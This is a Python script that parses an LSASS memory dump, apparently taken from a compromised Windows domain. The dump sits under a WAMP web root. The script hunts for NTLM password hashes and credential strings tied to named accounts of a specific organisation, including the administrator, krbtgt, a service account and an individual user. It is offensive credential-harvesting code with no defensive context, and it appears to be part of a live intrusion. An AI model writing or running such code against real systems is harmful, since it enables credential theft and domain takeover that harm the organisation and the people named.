
import struct

with open("C:\\wamp64\\www\\lsass_out.dmp", "rb") as f:
    data = f.read()

results = []

# Look for MSV1_0 credentials - search for known NTLM hash patterns
# NTLM hashes are 16 bytes and typically stored near usernames

# Search for domain usernames and surrounding context
usernames = [b"Administrador", b"yamilet.nunez", b"WAMOP1", b"DINAZPRO", 
             b"MSSQLSvc", b"krbtgt", b"xmpp-openfire", b"prueba",
             b"DINAZPRO.COM.VE", b"DINAZPRO\\", b"dinazpro"]

for username in usernames:
    offset = 0
    while True:
        idx = data.find(username, offset)
        if idx == -1:
            break
        # Get context around the username
        start = max(0, idx - 256)
        end = min(len(data), idx + len(username) + 256)
        context = data[start:end]
        results.append(f"FOUND {username.decode(errors='ignore')} at {hex(idx)}")
        
        # Look for 16-byte hash patterns near the username (within 512 bytes)
        for hash_search in range(max(0,idx-512), min(len(data)-16, idx+512)):
            chunk = data[hash_search:hash_search+16]
            # Check if it looks like an NTLM hash (high entropy, no ASCII)
            if all(b > 0x1f for b in chunk):
                continue  # Too readable, probably not a hash
            entropy = len(set(chunk))
            if entropy > 10:  # Likely random-looking bytes
                results.append(f"  Potential hash at {hex(hash_search)}: {chunk.hex().upper()}")
        
        offset = idx + 1
        if len(results) > 100:
            break
    if len(results) > 100:
        break

# Also search for known NTLM hash hex patterns
# Look for hexadecimal strings that are 32 chars (16 bytes) long
import re
hex_patterns = set()
for m in re.finditer(b'[0-9a-fA-F]{32}', data):
    hex_patterns.add(m.group().decode())
    if len(hex_patterns) > 20:
        break
results.append("\n=== Hex patterns (possible hashes) ===")
for h in sorted(hex_patterns)[:20]:
    results.append(h)

# Search for "aad3b" (NTLM hash prefix for common patterns)
results.append("\n=== Context near 'logon' / 'password' strings ===")
for kw in [b"password", b"logon", b"credential", b"hash", b"secret"]:
    idx = data.find(kw)
    if idx != -1:
        ctx = data[max(0,idx-32):idx+64]
        results.append(f"{kw.decode()} at {hex(idx)}: {ctx.hex()}")

print("\n".join(results[:200]))